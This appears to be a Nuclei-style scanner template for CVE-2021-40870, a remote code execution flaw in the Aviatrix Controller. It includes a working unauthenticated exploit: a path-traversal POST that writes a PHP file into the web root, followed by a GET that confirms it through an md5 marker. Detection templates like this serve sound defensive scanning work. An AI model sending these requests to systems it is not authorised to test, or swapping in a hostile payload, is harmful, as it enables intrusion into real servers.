id: CVE-2021-40870

info:
  name: Aviatrix Controller 6.x before 6.5-1804.1922 - Remote Command Execution
  author: pikpikcu
  severity: critical
  description: Aviatrix Controller 6.x before 6.5-1804.1922 contains a vulnerability that allows unrestricted upload of a file with a dangerous type, which allows an unauthenticated user to execute arbitrary code via directory traversal.
  remediation: |
    Upgrade Aviatrix Controller to version 6.5-1804.1922 or later to mitigate this vulnerability.
  reference:
    - https://docs.aviatrix.com/HowTos/UCC_Release_Notes.html#security-note-9-11-2021
    - https://wearetradecraft.com/advisories/tc-2021-0002/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40870
    - http://packetstormsecurity.com/files/164461/Aviatrix-Controller-6.x-Path-Traversal-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-40870
    cwe-id: CWE-23
    epss-score: 0.90116
    epss-percentile: 0.98436
    cpe: cpe:2.3:a:aviatrix:controller:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: aviatrix
    product: controller
  tags: intrusive,packetstorm,cve,cve2021,rce,aviatrix,kev,fileupload

http:
  - raw:
      - |
        POST /v1/backend1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        CID=x&action=set_metric_gw_selections&account_name=/../../../var/www/php/{{randstr}}.php&data=<?php echo md5("CVE-2021-40870"); ?>
      - |
        GET /v1/{{randstr}}.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '0d95513363fd69b9fee712f333293654'

      - type: status
        status:
          - 200